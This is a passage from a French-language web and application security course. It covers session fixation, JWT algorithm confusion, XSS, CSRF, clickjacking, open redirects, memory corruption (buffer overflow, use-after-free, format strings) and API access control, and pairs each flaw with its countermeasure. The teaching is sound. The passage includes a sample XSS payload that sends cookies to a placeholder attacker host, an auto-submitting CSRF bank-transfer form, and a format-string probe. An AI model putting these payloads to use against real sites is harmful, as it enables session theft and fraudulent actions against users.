Une simple limitation du nombre de tentatives par compte ne suffit pas à contrer le *credential stuffing*, où l'attaquant teste un couple identifiant/mot de passe différent à chaque tentative (issus d'une fuite de données antérieure sur un service tiers), répartissant volontairement ses tentatives sur un grand nombre de comptes cibles pour rester sous le seuil de détection par compte. Des contre-mesures complémentaires sont nécessaires : limitation par adresse IP ou empreinte de client, détection de motifs de trafic automatisés, et surtout MFA, qui rend inopérant un mot de passe correct mais volé si le second facteur n'est pas également compromis.

3. Gestion de sessions

Après authentification, un **identifiant de session** (généralement transmis via un cookie) permet à l'application de reconnaître l'utilisateur sur les requêtes suivantes sans redemander ses identifiants à chaque fois.

Exigences de sécurité d'un identifiant de session

- **Imprévisibilité** : généré par un générateur aléatoire cryptographiquement sûr, suffisamment long pour résister à une attaque par force brute.
- **Régénération après authentification** : un identifiant de session attribué avant authentification ne doit jamais rester valide après (prévention de la **fixation de session**, où un attaquant impose à sa victime un identifiant de session qu'il connaît à l'avance).
- **Expiration** : durée de vie limitée, avec expiration après une période d'inactivité et invalidation explicite à la déconnexion.
- **Attributs de cookie sécurisés** : `Secure` (transmission uniquement en HTTPS), `HttpOnly` (inaccessible au JavaScript côté client, limitant l'impact d'un XSS — chapitre 4), `SameSite` (limite l'envoi automatique du cookie lors de requêtes intersites, contre-mesure au CSRF — chapitre 4).

Illustration : attaque par fixation de session

1. L'attaquant obtient un identifiant de session valide mais non authentifié auprès du site cible (ex. simplement en visitant la page de connexion), puis force la victime à l'utiliser (lien piégé contenant l'identifiant, ou site vulnérable acceptant un identifiant fourni en paramètre d'URL).
2. La victime, sans le savoir, s'authentifie sur le site en utilisant cet identifiant de session déjà connu de l'attaquant.
3. Si le serveur ne régénère pas l'identifiant de session après l'authentification, l'identifiant reste le même avant et après : l'attaquant, qui le connaissait déjà, dispose désormais d'une session authentifiée en tant que la victime.

Contre-mesure directe : générer systématiquement un *nouvel* identifiant de session immédiatement après une authentification réussie, et invalider l'ancien — de sorte qu'un identifiant connu avant authentification n'ait plus aucune valeur après.

Tableau récapitulatif des attributs de cookie de session

Attribut	Effet	Contre quoi
<code>Secure</code>	le cookie n'est transmis que sur une connexion HTTPS	interception en clair sur un réseau non chiffré
<code>HttpOnly</code>	le cookie est inaccessible depuis un script JavaScript côté client	vol du cookie de session via une vulnérabilité XSS (chapitre 4)
<code>SameSite=Strict</code> / <code>Lax</code>	limite l'envoi automatique du cookie lors d'une requête provenant d'un autre site	falsification de requête intersite, CSRF (chapitre 4)

Attribut	Effet	Contre quoi
Durée de vie limitée	expiration automatique après une période fixe ou d'inactivité	usage prolongé d'une session volée ou oubliée sur un poste partagé

4. Authentification fédérée et jetons (aperçu)

De nombreuses applications modernes délèguent l'authentification à un fournisseur d'identité tiers (OAuth 2.0, OpenID Connect) plutôt que de gérer elles-mêmes des mots de passe. Ces protocoles introduisent leurs propres risques (mauvaise validation d'un jeton, absence de vérification de la signature d'un JWT, confusion entre autorisation et authentification) qui nécessitent une compréhension précise du protocole utilisé plutôt qu'une implémentation ad hoc.

Une distinction conceptuelle essentielle, souvent source de confusion : **OAuth 2.0** est, à l'origine, un protocole d'*autorisation* (accorder à une application tierce un accès délégué et limité à des ressources, sans partager le mot de passe), tandis qu'**OpenID Connect (OIDC)** est une couche construite au-dessus d'OAuth 2.0 spécifiquement destinée à l'*authentification* (prouver l'identité de l'utilisateur). Utiliser OAuth 2.0 seul comme mécanisme d'authentification, sans la couche OIDC, est une erreur de conception fréquente pouvant conduire à des failles d'usurpation d'identité.

JWT (JSON Web Token) : points de vigilance

- Toujours vérifier la **signature** du jeton reçu, avec l'algorithme attendu explicitement fixé côté serveur (ne jamais faire confiance à l'algorithme annoncé dans l'en-tête du jeton lui-même — une classe de vulnérabilité réelle où un attaquant modifie l'algorithme annoncé en `none` ou substitue une clé publique en clé symétrique).
- Vérifier systématiquement l'expiration (`exp`) et l'émetteur attendu.
- Ne jamais stocker d'informations sensibles non chiffrées dans le contenu d'un JWT, qui n'est qu'encodé (Base64), pas chiffré, et donc lisible par quiconque intercepte le jeton.

Illustration : attaque par confusion d'algorithme (« alg: none »)

Un JWT est composé de trois parties encodées en Base64 et séparées par des points : un en-tête décrivant l'algorithme de signature, une charge utile (les données), et une signature. L'en-tête d'un jeton légitime ressemble à :

```
{ "alg": "HS256", "typ": "JWT" }
```

Si le code de vérification côté serveur lit l'algorithme annoncé *dans le jeton lui-même* plutôt que d'imposer un algorithme fixe attendu, un attaquant peut forger un jeton dont l'en-tête indique :

```
{ "alg": "none", "typ": "JWT" }
```

Certaines bibliothèques mal utilisées acceptent alors le jeton comme valide sans vérifier de signature du tout, puisque l'algorithme annoncé indique explicitement l'absence de signature. **Contre-mesure** : le

serveur doit toujours imposer explicitement, dans sa propre configuration, l'algorithme de signature attendu (jamais lu depuis le jeton reçu), et rejeter tout jeton n'utilisant pas cet algorithme précis.

Jetons d'accès et jetons de rafraîchissement

Une bonne pratique répandue consiste à séparer un **jeton d'accès** (*access token*), de courte durée de vie, utilisé pour chaque requête à une ressource protégée, d'un **jeton de rafraîchissement** (*refresh token*), de durée de vie plus longue, utilisé uniquement pour obtenir un nouveau jeton d'accès sans redemander les identifiants complets à l'utilisateur. Cette séparation limite la fenêtre d'exploitation d'un jeton d'accès intercepté, tout en évitant de redemander une authentification complète trop fréquemment ; le jeton de rafraîchissement, plus sensible car plus longuement valide, doit bénéficier d'une protection de stockage renforcée (jamais accessible à un script côté client, par exemple).

À retenir

- Une politique de mot de passe moderne privilégie la longueur et la vérification contre des mots de passe déjà compromis plutôt que des règles de composition contraignantes et peu efficaces ; le stockage repose sur une fonction dédiée, lente et salée (bcrypt, scrypt, Argon2), jamais sur un hachage rapide générique.
- La MFA combine des facteurs de nature différente (savoir, possession, être) et réduit fortement l'impact d'un mot de passe compromis, sans dispenser des autres bonnes pratiques d'authentification.
- L'énumération de comptes (par message d'erreur ou par temps de réponse) et le *credential stuffing* sont deux défaillances distinctes nécessitant des contre-mesures spécifiques (message d'erreur unique, temps de réponse constant, limitation multi-niveaux, MFA).
- La gestion de session exige régénération après authentification (prévention de la fixation de session), expiration maîtrisée, et attributs de cookie sécurisés (Secure, HttpOnly, SameSite).
- L'authentification fédérée (OAuth pour l'autorisation, OIDC pour l'authentification, JWT comme format de jeton) déplace le risque vers une bonne compréhension du protocole et une vérification rigoureuse des jetons (signature avec algorithme imposé côté serveur, expiration), plutôt que de l'éliminer.

Chapitre 4 — Vulnérabilités côté client : XSS, CSRF, clickjacking

1. Cross-Site Scripting (XSS)

Principe

Une vulnérabilité XSS survient lorsqu'une donnée non fiable est insérée dans une page HTML sans encodage contextuel approprié, permettant à un attaquant de faire exécuter du code JavaScript arbitraire dans le navigateur d'une victime, dans le contexte de sécurité du site légitime.

Ce point est essentiel à bien comprendre : le script injecté ne s'exécute pas sur le serveur de l'application, mais dans le navigateur de la victime, avec les mêmes droits que n'importe quel script légitime du site. Il peut donc, par exemple, lire les cookies non protégés associés au site, effectuer des requêtes vers l'API du site avec la session active de la victime, manipuler le contenu affiché (hameçonnage ciblé), ou capturer les frappes clavier de la victime — l'ensemble des actions qu'un script légitime du site pourrait lui-même effectuer.

Trois formes principales

Type	Mécanisme
XSS réfléchi	la charge malveillante est incluse dans la requête (ex. paramètre d'URL) et renvoyée immédiatement dans la réponse, sans être stockée ; nécessite de piéger la victime pour qu'elle clique un lien spécialement construit
XSS stocké (persistant)	la charge est enregistrée côté serveur (ex. commentaire, champ de profil) et exécutée pour tout utilisateur consultant ultérieurement le contenu affecté ; impact généralement plus large
XSS DOM-based	la vulnérabilité provient d'un traitement non sûr côté client (JavaScript manipulant directement le DOM à partir de données non fiables), sans que le serveur soit nécessairement impliqué dans la faille

Exemple

```
<!-- Champ de commentaire affiché sans encodage -->
<p>Commentaire : <?php echo $commentaire_utilisateur; ?></p>
```

Si `$commentaire_utilisateur` vaut `<script>document.location='https://attaquant.example/vol?c='+document.cookie</script>`, ce script s'exécute dans le navigateur de tout visiteur affichant ce commentaire, avec accès potentiel au cookie de session de la victime (d'où l'importance de l'attribut `HttpOnly` vu au chapitre 3, qui limite précisément ce vecteur).

Version corrigée

```
<!-- Encodage contextuel systématique avant insertion dans le HTML -->
<p>Commentaire : <?php echo htmlspecialchars($commentaire_utilisateur, ENT_QUOTES, 'UTF
```

La fonction d'encodage transforme les caractères ayant une signification syntaxique en HTML (<, >, ", ', &) en leurs entités correspondantes (<; >; etc.), de sorte que le contenu s'affiche littéralement comme texte plutôt que d'être interprété comme une balise ou un script.

Exemple d'XSS DOM-based

```
// Vulnérable : lecture directe d'un paramètre d'URL et insertion
// dans le DOM via innerHTML, sans encodage ni validation
const parametres = new URLSearchParams(window.location.search);
document.getElementById('bienvenue').innerHTML = "Bonjour " + parametres.get('nom');

// Une URL du type site.example/page?nom=<img src=x onerror=alert(document.cookie)>
// provoque l'exécution du gestionnaire onerror dès le chargement de l'image
// invalide, entièrement côté client, sans jamais transiter par le serveur.

// Corrigé : utilisation d'une propriété qui traite la valeur comme
// du texte brut plutôt que comme du HTML à interpréter
document.getElementById('bienvenue').textContent = "Bonjour " + parametres.get('nom');
```

Ce dernier exemple illustre pourquoi le XSS DOM-based mérite une vigilance spécifique : aucune requête n'est nécessairement envoyée au serveur pour que la vulnérabilité s'exprime, ce qui la rend invisible à un outil d'analyse qui n'observerait que le trafic réseau côté serveur (comme un DAST classique) sans exécuter réellement le JavaScript de la page.

Contre-mesures

- **Encodage contextuel systématique** en sortie (HTML, attribut, JavaScript, URL — chaque contexte a ses propres règles d'encodage, cf. chapitre 1 section 4).
- **Content Security Policy (CSP)** : en-tête HTTP restreignant les sources de scripts autorisées à s'exécuter sur une page, limitant fortement l'impact d'un XSS même si l'injection réussit.
- Utilisation de frameworks front-end effectuant un encodage automatique par défaut (la plupart des frameworks modernes encodent par défaut, à condition de ne pas contourner ce mécanisme volontairement, ex. via des fonctions explicitement nommées « dangereuses »).

Illustration d'une politique CSP restrictive

```
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base
```

Cette configuration n'autorise le chargement de scripts que depuis l'origine du site lui-même ('self'), interdit tout script inline non explicitement autorisé, et bloque les plugins hérités (object-src 'none'). Même si une injection XSS parvient à insérer une balise <script src="https://attaquant.example/malveillant.js"> dans la page, le navigateur refusera de charger

ce script car son origine ne correspond pas à la politique déclarée — une couche de défense qui n'élimine pas la vulnérabilité elle-même mais en réduit fortement l'exploitabilité, en cohérence avec le principe de défense en profondeur du chapitre 1.

2. Cross-Site Request Forgery (CSRF)

Principe

Un attaquant piège la victime (déjà authentifiée sur un site cible) pour qu'elle exécute, à son insu, une requête vers ce site (ex. via une page piégée provoquant une soumission de formulaire automatique) : le navigateur joint automatiquement les cookies de session valides, faisant apparaître la requête comme légitime aux yeux du serveur.

Le mécanisme repose sur une propriété par défaut des navigateurs : lors de toute requête vers un domaine, les cookies associés à ce domaine sont automatiquement joints à la requête, quelle que soit la page d'origine ayant déclenché cette requête. Le serveur, recevant une requête accompagnée d'un cookie de session valide, ne peut à lui seul distinguer une requête volontairement initiée par l'utilisateur d'une requête déclenchée à son insu par une page tierce.

Exemple

```
<!-- Page piégée hébergée par l'attaquant -->
<form action="https://banque.example/virement" method="POST">
  <input type="hidden" name="destinataire" value="compte-attaquant">
  <input type="hidden" name="montant" value="5000">
</form>
<script>document.forms[0].submit();</script>
```

Si la victime authentifiée sur `banque.example` visite cette page piégée, son navigateur soumet automatiquement le formulaire avec ses cookies de session valides.

Un piège fréquent : croire les requêtes GET protégées par nature

Une confusion pédagogique fréquente consiste à penser que le CSRF ne concerne que les formulaires POST. En réalité, toute action sensible déclenchable par une simple requête GET (ex. `GET /compte/supprimer?id=42`) est trivialement exploitable via une simple balise image :

```
<!-- Une simple image suffit à déclencher une requête GET, sans script -->

```

C'est pourquoi la conception d'API doit toujours réserver les méthodes HTTP `GET` aux opérations sans effet de bord (lecture seule), et utiliser des méthodes appropriées (`POST`, `PUT`, `DELETE`) pour toute opération modifiant un état, condition nécessaire mais non suffisante à une protection efficace contre le CSRF.

Contre-mesures

- **Jeton anti-CSRF** : valeur unique et imprévisible générée côté serveur, incluse dans chaque formulaire sensible et vérifiée à la soumission — un attaquant externe ne peut pas connaître ce jeton.
- **Attribut de cookie SameSite** (rappel chapitre 3) : empêche le navigateur d'envoyer automatiquement le cookie de session lors d'une requête intersite dans de nombreux cas.
- Vérification de l'en-tête `Origin/Referer` pour les opérations sensibles.

Approfondissement : les valeurs de l'attribut `SameSite`

Valeur	Comportement	Niveau de protection
<code>Strict</code>	le cookie n'est jamais envoyé lors d'une navigation provenant d'un autre site, même en cliquant un lien légitime depuis ce site tiers	maximal, mais peut dégrader l'expérience utilisateur (ex. un utilisateur cliquant un lien vers le site depuis un e-mail apparaît comme non connecté)
<code>Lax</code> (valeur par défaut dans de nombreux navigateurs modernes)	le cookie est envoyé lors d'une navigation directe de premier niveau (clic sur un lien), mais pas lors de requêtes déclenchées en arrière-plan par une page tierce (image, formulaire auto-soumis)	bon compromis, protège contre l'exemple de la section précédente
<code>None</code>	le cookie est envoyé dans tous les cas intersites (nécessite obligatoirement l'attribut <code>Secure</code> associé)	aucune protection CSRF apportée par cet attribut ; nécessaire uniquement pour des cas d'usage intersites légitimes explicitement voulus

Le `SameSite=Lax` par défaut réduit fortement la surface d'attaque CSRF « historique », mais ne dispense pas d'un jeton anti-CSRF pour les opérations les plus sensibles, notamment parce que certains scénarios (requêtes de premier niveau, navigateurs plus anciens ou mal configurés) restent hors de portée de cette seule protection.

3. Clickjacking

Un attaquant superpose (via une `iframe` transparente) une page légitime sous une interface trompeuse, incitant la victime à cliquer sur un élément de la page légitime sans le savoir (ex. un bouton « activer le micro » ou « confirmer un paiement » masqué sous un bouton apparemment inoffensif).

Contre-mesure : en-tête HTTP `X-Frame-Options` ou directive CSP `frame-ancestors`, empêchant qu'une page sensible soit chargée dans une `iframe` par un site non autorisé.

```
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
```

Pourquoi préférer `frame-ancestors` à d'anciennes techniques de « frame busting »

Avant la généralisation de ces en-têtes HTTP, certains sites tentaient de se protéger par un script JavaScript dit de « frame busting » (détectant si la page est chargée dans une iframe et forçant une redirection hors de celle-ci). Cette approche reste fragile car un attaquant peut souvent neutraliser ce script (ex. via l'attribut `sandbox` d'une iframe empêchant l'exécution de scripts, ou d'autres contournements historiquement documentés). Les en-têtes `X-Frame-Options` et `frame-ancestors` sont appliqués directement par le navigateur avant même le rendu de la page, indépendamment de toute logique JavaScript côté client, ce qui en fait une défense structurellement plus fiable.

4. Injection côté client : DOM et frameworks modernes

Les applications à page unique (SPA) manipulant intensivement le DOM côté client introduisent des variantes de ces vulnérabilités (XSS DOM-based en particulier), nécessitant une vigilance spécifique sur toute fonction manipulant directement le HTML à partir de données non fiables (fonctions explicitement signalées comme dangereuses par les frameworks modernes, à éviter sauf nécessité strictement justifiée et accompagnée d'un encodage manuel rigoureux).

Redirection ouverte (open redirect) : une vulnérabilité connexe

Une **redirection ouverte** survient lorsqu'une application redirige l'utilisateur vers une URL fournie en paramètre, sans en vérifier le domaine de destination :

```
<!-- Vulnérable : redirection vers n'importe quel domaine fourni en paramètre -->
https://site-de-confiance.example/redirection?url=https://site-malveillant.example/hame
```

Bien que ne permettant pas d'exécuter du code, cette vulnérabilité est fréquemment exploitée en appui d'une campagne de hameçonnage : le lien affiché à la victime commence par un nom de domaine légitime et digne de confiance, ce qui augmente la probabilité qu'elle clique, avant d'être redirigée vers un site malveillant. **Contre-mesure** : valider la destination de toute redirection contre une liste blanche de domaines ou de chemins internes autorisés, plutôt que d'accepter une URL arbitraire.

À retenir

- XSS exploite une insertion non sécurisée de données dans une page ; CSRF exploite la confiance automatique du navigateur envers des cookies de session lors de requêtes intersites — deux mécanismes distincts nécessitant des contre-mesures distinctes.
- L'encodage contextuel systématique et une CSP bien configurée sont les défenses de référence contre XSS ; le XSS DOM-based mérite une vigilance particulière car il peut échapper à des outils n'analysant que le trafic réseau côté serveur.
- Le jeton anti-CSRF et l'attribut `SameSite` sont les défenses de référence contre CSRF ; réserver les méthodes GET aux opérations sans effet de bord est une précaution nécessaire mais non suffisante à elle seule.
- Le clickjacking se prévient simplement par les en-têtes HTTP appropriés (`X-Frame-Options`, `frame-ancestors`), plus fiables que d'anciennes techniques de frame busting en JavaScript, et souvent négligés en pratique.

- La redirection ouverte, souvent sous-estimée, constitue un vecteur d'appui classique pour des campagnes de hameçonnage exploitant la confiance portée à un domaine légitime.

Chapitre 5 — Vulnérabilités mémoire bas niveau et exploitation

1. Retour sur les fondamentaux (lien avec le module Algorithmique et C)

Ce chapitre approfondit, sous l'angle de l'exploitation, les vulnérabilités mémoire déjà identifiées comme risques au module *Algorithmique et Programmation en C* (chapitres 5 et 6) : débordement de tampon, use-after-free, format string.

Contrairement aux vulnérabilités applicatives des chapitres précédents (qui exploitent une confusion entre code et donnée au niveau d'un interpréteur de haut niveau), les vulnérabilités mémoire exploitent une propriété du modèle d'exécution bas niveau de langages comme le C : l'absence de vérification automatique des limites d'accès mémoire, laissée à la responsabilité du développeur. Cette caractéristique, qui confère au C des performances proches du matériel, constitue également sa principale source de risque de sécurité.

2. Anatomie d'un débordement de tampon sur la pile (stack overflow)

La pile d'exécution contient, pour chaque appel de fonction, les variables locales et l'**adresse de retour** (l'endroit où l'exécution doit reprendre après la fin de la fonction). Un débordement de tampon local mal borné peut écraser cette adresse de retour :

```
void fonction_vulnerable(char *entree) {
    char buffer[64];
    strcpy(buffer, entree); // aucune vérification de taille
}
```

Si `entree` dépasse 64 octets, les octets excédentaires écrasent la mémoire adjacente sur la pile, potentiellement jusqu'à l'adresse de retour. Un attaquant maîtrisant précisément le contenu de ce dépassement peut rediriger l'adresse de retour vers du code de son choix (souvent injecté dans le buffer lui-même, technique historique dite du « shellcode »), détournant ainsi le flot d'exécution du programme.

Déroulement schématique d'une exploitation classique

1. **Reconnaissance** : identifier une fonction utilisant une copie non bornée (`strcpy`, `sprintf`, `gets`) sur une entrée dont la taille est contrôlée par l'attaquant.
2. **Détermination du décalage (*offset*)** : par des envois successifs d'entrées de longueurs croissantes (ou de motifs uniques identifiables), déterminer précisément à partir de quel octet du buffer débute l'écrasement de l'adresse de retour.
3. **Construction de la charge** : préparer une entrée qui, une fois copiée, place à l'emplacement exact de l'adresse de retour une nouvelle valeur pointant vers un code que l'attaquant souhaite exécuter.

4. **Déclenchement** : provoquer le retour de la fonction vulnérable, moment où le processeur charge la valeur (désormais falsifiée) de l'adresse de retour et y transfère l'exécution.

Cette description, volontairement simplifiée à des fins pédagogiques, ignore délibérément les protections systémiques modernes (section suivante) qui rendent une exploitation aussi directe généralement impraticable sur un système correctement configuré.

3. Contre-mesures systémiques (défense en profondeur au niveau du système)

Les systèmes d'exploitation et compilateurs modernes ont introduit plusieurs mécanismes rendant l'exploitation d'un débordement de tampon bien plus difficile qu'à l'époque des premières attaques historiques (fin des années 1990) :

Contre-mesure	Principe
Stack canary	valeur secrète placée entre les variables locales et l'adresse de retour, vérifiée avant le retour de fonction ; toute modification (par débordement) est détectée et provoque l'arrêt du programme
ASLR (Address Space Layout Randomization)	randomise l'emplacement en mémoire du tas, de la pile et des bibliothèques à chaque exécution, rendant plus difficile de prédire l'adresse exacte vers laquelle rediriger l'exécution
DEP/NX (Data Execution Prevention / No-eXecute)	marque les zones mémoire de données (dont la pile) comme non exécutables, empêchant l'exécution directe d'un shellcode injecté dans un buffer
RELRO, PIE	durcissements complémentaires sur les tables de symboles et le positionnement du code exécutable

Portée et limites de chacune de ces protections

Il est pédagogiquement important de comprendre que chacune de ces protections cible un maillon précis de la chaîne d'exploitation décrite ci-dessus, et qu'aucune n'est suffisante isolément :

- Le **stack canary** ne protège que l'adresse de retour immédiatement adjacente à un débordement séquentiel classique ; il ne détecte rien si l'attaquant parvient à écraser une autre donnée sensible en mémoire (ex. un pointeur de fonction stocké ailleurs) sans passer par le chemin surveillé par le canary.
- **ASLR** rend la prédiction d'adresse difficile mais pas impossible : une fuite d'information annexe (ex. via une autre vulnérabilité révélant une adresse mémoire) peut permettre à un attaquant de déduire le décalage appliqué, neutralisant l'effet de la randomisation pour l'exploitation visée.
- **DEP/NX** empêche l'exécution directe de code injecté dans une zone de données, mais pas la réutilisation de code *déjà* exécutable présent ailleurs dans le programme — d'où la technique de contournement décrite ci-dessous.

Ces protections ont donné naissance à des techniques d'exploitation plus avancées (return-oriented programming — ROP, qui réutilise des fragments de code déjà exécutables présents dans le

programme plutôt que d'injecter du code nouveau, contournant DEP/NX), objet d'un approfondissement possible au-delà de ce cours introductif. Le principe du ROP consiste à enchaîner, via une suite d'adresses de retour soigneusement choisies, de courts fragments de code déjà présents dans le binaire ou ses bibliothèques (dits « gadgets »), chacun se terminant par une instruction de retour qui enchaîne immédiatement vers le gadget suivant, permettant de reconstruire un comportement arbitraire sans jamais introduire de nouveau code exécutable.

4. Autres vulnérabilités mémoire exploitables

- **Débordement de tampon sur le tas (heap overflow)** : cible des structures de gestion du tas ou des données adjacentes, exploitation généralement plus complexe que sur la pile mais toujours d'actualité (rappel module C, chapitre 6).
- **Use-after-free** : exploitation d'un pointeur pendant vers une zone mémoire libérée puis réallouée à d'autres données, permettant potentiellement à un attaquant de manipuler des structures de données internes du programme.
- **Vulnérabilité de chaîne de format (format string)** : passage d'une entrée utilisateur directement comme chaîne de format à une fonction comme `printf(entree_utilisateur)` (au lieu de `printf("%s", entree_utilisateur)`), permettant à un attaquant, via des spécificateurs de format (`%x`, `%n`), de lire voire d'écrire en mémoire.
- **Débordement d'entier (integer overflow)** : un calcul de taille qui déborde silencieusement peut conduire à une allocation mémoire plus petite que prévu, provoquant ensuite un débordement lors du remplissage de cette zone sous-dimensionnée.

Illustration : use-after-free

```
struct utilisateur *u = allouer_utilisateur("alice");
traiter_utilisateur(u);
liberer_utilisateur(u); // la mémoire de *u est rendue au système

// ... plus loin dans le programme, par erreur de logique ...
afficher_nom(u);          // utilisation d'un pointeur déjà libéré :
                          // la zone mémoire pointée par u a pu, entre
                          // temps, être réallouée à une tout autre
                          // structure de données par le programme
```

Si, entre la libération et cette utilisation tardive, l'allocateur mémoire a réutilisé cette même zone pour une structure différente (potentiellement sous l'influence indirecte d'un attaquant qui provoque des allocations à des moments choisis), `afficher_nom(u)` accède alors à des données qui n'ont plus rien à voir avec l'utilisateur d'origine, avec un comportement imprévisible allant du simple plantage à la corruption exploitable de structures internes du programme. **Contre-mesure directe** : réaffecter systématiquement un pointeur à `NULL` immédiatement après libération, et vérifier cette valeur avant toute utilisation ultérieure.

Illustration : vulnérabilité de chaîne de format

```
// Vulnérable : l'entrée utilisateur est utilisée directement
// comme chaîne de format
printf(entree_utilisateur);

// Si entree_utilisateur vaut "%x %x %x %x", printf interprète chaque
// %x comme une demande de lire un argument supplémentaire sur la pile
// (qui n'a pourtant pas été fourni), révélant ainsi le contenu de la
// pile à l'attaquant. Le spécificateur %n est plus grave encore : il
// demande à printf d'ÉCRIRE en mémoire, à l'adresse fournie en argument,
// le nombre de caractères déjà affichés – une primitive d'écriture
// mémoire arbitraire si l'attaquant contrôle cette chaîne de format.

// Corrigé : la donnée utilisateur est passée comme argument, jamais
// comme chaîne de format elle-même
printf("%s", entree_utilisateur);
```

Illustration : débordement d'entier menant à une allocation sous-dimensionnée

```
// nombre_elements est un entier non signé fourni (indirectement) par
// l'utilisateur, par exemple lu depuis un fichier ou un flux réseau
unsigned int nombre_elements = lire_valeur_entree();
unsigned int taille = nombre_elements * sizeof(struct enregistrement);
struct enregistrement *tableau = malloc(taille);

// Si nombre_elements est suffisamment grand, la multiplication déborde
// silencieusement (le résultat "taille" revient à une petite valeur),
// malloc alloue alors un espace bien plus petit que ce que le programme
// s'apprête ensuite à remplir en croyant disposer de "nombre_elements"
// emplacements valides : un débordement de tampon sur le tas s'ensuit.
```

Contre-mesure : vérifier explicitement qu'une multiplication ou addition de tailles ne dépasse pas les bornes du type utilisé avant d'effectuer l'allocation (ou utiliser des fonctions d'allocation qui détectent nativement ce cas, disponibles dans certaines bibliothèques standard modernes).

5. Démarche d'analyse d'une vulnérabilité mémoire (aperçu, développé en TP3)

1. Identifier le point d'entrée de données non fiables et la fonction dangereuse concernée.
2. Déterminer la structure mémoire environnante (variables locales, ordre en mémoire, présence de protections).
3. Construire une entrée de test provoquant un comportement anormal observable (plantage contrôlé).
4. Affiner progressivement pour comprendre précisément l'impact (simple déni de service par plantage, ou contrôle du flot d'exécution).

Le fuzzing comme méthode de découverte automatisée

Au-delà de l'analyse manuelle, le **fuzzing** (test par entrées aléatoires ou mutées automatiquement) constitue une méthode standard de découverte de vulnérabilités mémoire : un outil génère un très grand nombre de variations d'une entrée valide de départ (mutation de bits, insertion de valeurs limites), exécute le programme cible avec chacune, et surveille tout plantage ou comportement anormal détecté (souvent combiné à une instrumentation comme AddressSanitizer, ci-dessous, pour détecter des corruptions mémoire qui ne provoqueraient pas nécessairement un plantage immédiat et visible). Cette approche est particulièrement efficace pour les vulnérabilités mémoire, précisément parce qu'un très grand nombre de cas limites mal gérés (tailles, décalages, valeurs extrêmes) échappent facilement à une revue manuelle mais se révèlent rapidement par exploration automatisée massive.

6. Prévention à la source : la meilleure défense

Au-delà des contre-mesures systémiques (qui compliquent l'exploitation mais ne l'empêchent pas toujours), la prévention la plus fiable reste à la source : fonctions bornées (`snprintf` plutôt que `sprintf/strcpy`), vérification systématique des tailles, compilation avec les avertissements activés et des outils d'analyse statique/dynamique (AddressSanitizer, valgrind — rappel module C, TP6), et, pour de nouveaux développements sensibles, l'usage de langages à sécurité mémoire garantie par construction (Rust, Go) lorsque le contexte le permet.

Pourquoi certains langages éliminent structurellement cette classe de vulnérabilité

Des langages comme Rust imposent, au moment de la compilation, des règles strictes de possession et d'emprunt (*ownership* et *borrowing*) garantissant qu'un pointeur ne peut jamais être utilisé après la libération de la mémoire qu'il désigne, et que tout accès à un tableau est automatiquement vérifié par rapport à ses bornes réelles avant exécution. Ce choix de conception élimine, par construction et sans intervention du développeur à chaque accès, des classes entières de vulnérabilités décrites dans ce chapitre (use-after-free, débordement de tampon), au prix d'une contrainte de conception plus stricte qu'un langage comme le C, qui laisse au contraire l'ensemble de ces vérifications à la discipline du développeur.

À retenir

- Un débordement de tampon sur la pile peut, en l'absence de protections, permettre à un attaquant de rediriger le flot d'exécution du programme en écrasant l'adresse de retour.
- Les protections systémiques modernes (canary, ASLR, DEP/NX) rendent l'exploitation bien plus difficile mais ne remplacent pas une prévention rigoureuse à la source, et ont donné naissance à des techniques de contournement plus avancées (ROP).
- Use-after-free, vulnérabilité de chaîne de format et débordement d'entier sont trois autres classes de vulnérabilités mémoire exploitables, chacune avec son propre mécanisme et sa propre contre-mesure directe.
- Le fuzzing constitue une méthode standard et efficace de découverte automatisée de vulnérabilités mémoire, en complément de la revue manuelle.
- La prévention à la source (fonctions bornées, vérifications systématiques, outils d'analyse) reste la défense la plus fiable, et certains langages modernes (Rust) éliminent structurellement des

classes entières de ces vulnérabilités, en cohérence directe avec les pratiques déjà vues au module *Algorithmique et Programmation en C*.

Chapitre 6 — Sécurisation des API et bonnes pratiques

1. Spécificités de la sécurité des API

Les API (notamment REST et GraphQL) sont devenues le principal mode d'intégration entre applications, exposant souvent directement une logique métier et des données sensibles, avec une surface d'attaque distincte des applications web traditionnelles (pas d'interface graphique intermédiaire filtrant implicitement certains usages).

Cette absence d'interface graphique intermédiaire mérite d'être bien comprise : dans une application web classique, un utilisateur navigue à travers des écrans qui, implicitement, ne proposent que certaines actions dans certains contextes (un bouton « supprimer » n'apparaît que si l'utilisateur a le droit de l'utiliser, par exemple). Une API, elle, est appelée directement par un programme client (application mobile, service tiers, script), qui peut en théorie construire n'importe quelle requête vers n'importe quel point d'entrée documenté ou deviné, sans passer par les garde-fous visuels d'une interface. Il en résulte que **toute** vérification de sécurité doit être portée par le serveur API lui-même, sans jamais supposer qu'un client « bien élevé » respectera un usage attendu.

2. OWASP API Security Top 10 (panorama)

Référentiel dédié, distinct du Top 10 applicatif général, structurant les risques spécifiques aux API :

- **Contrôle d'accès défaillant au niveau des objets (BOLA)** : un utilisateur accède aux données d'un autre utilisateur en modifiant simplement un identifiant dans la requête (ex. `GET /api/commandes/1234` accessible en changeant l'identifiant, sans vérification que la commande appartient bien à l'utilisateur authentifié) — variante API de l'IDOR déjà vu.
- **Authentification défaillante** : rappel du chapitre 3, appliqué spécifiquement aux jetons d'API.
- **Exposition excessive de données (excessive data exposure)** : l'API renvoie plus de champs que nécessaire, en s'appuyant sur le client pour filtrer l'affichage — un attaquant inspectant directement la réponse brute accède alors à des données qui n'auraient jamais dû être transmises.
- **Absence de limitation de ressources et de débit (rate limiting)** : permet des attaques par force brute, de déni de service, ou une extraction massive de données (scraping).
- **Contrôle d'accès défaillant au niveau des fonctions (BFLA)** : un utilisateur standard parvient à appeler un endpoint réservé aux administrateurs faute de vérification côté serveur (une restriction uniquement appliquée côté interface utilisateur n'est jamais suffisante).
- **Mauvaise configuration de sécurité** : en-têtes de sécurité manquants, messages d'erreur trop verbeux révélant des détails d'implémentation, CORS mal configuré (autorisant des origines non nécessaires).

Illustration : BOLA (Broken Object Level Authorization)

```
# Requête légitime de l'utilisateur authentifié 42, consultant sa propre commande
GET /api/commandes/1001
Authorization: Bearer <jeton-utilisateur-42>

# Requête malveillante : le même utilisateur modifie simplement
# l'identifiant dans l'URL pour tenter d'accéder à une commande
# appartenant à un autre utilisateur
GET /api/commandes/1002
Authorization: Bearer <jeton-utilisateur-42>
```

```
# Vulnérable : la commande est retournée dès qu'elle existe,
# sans vérifier qu'elle appartient à l'utilisateur authentifié
def obtenir_commande(id_commande, utilisateur_courant):
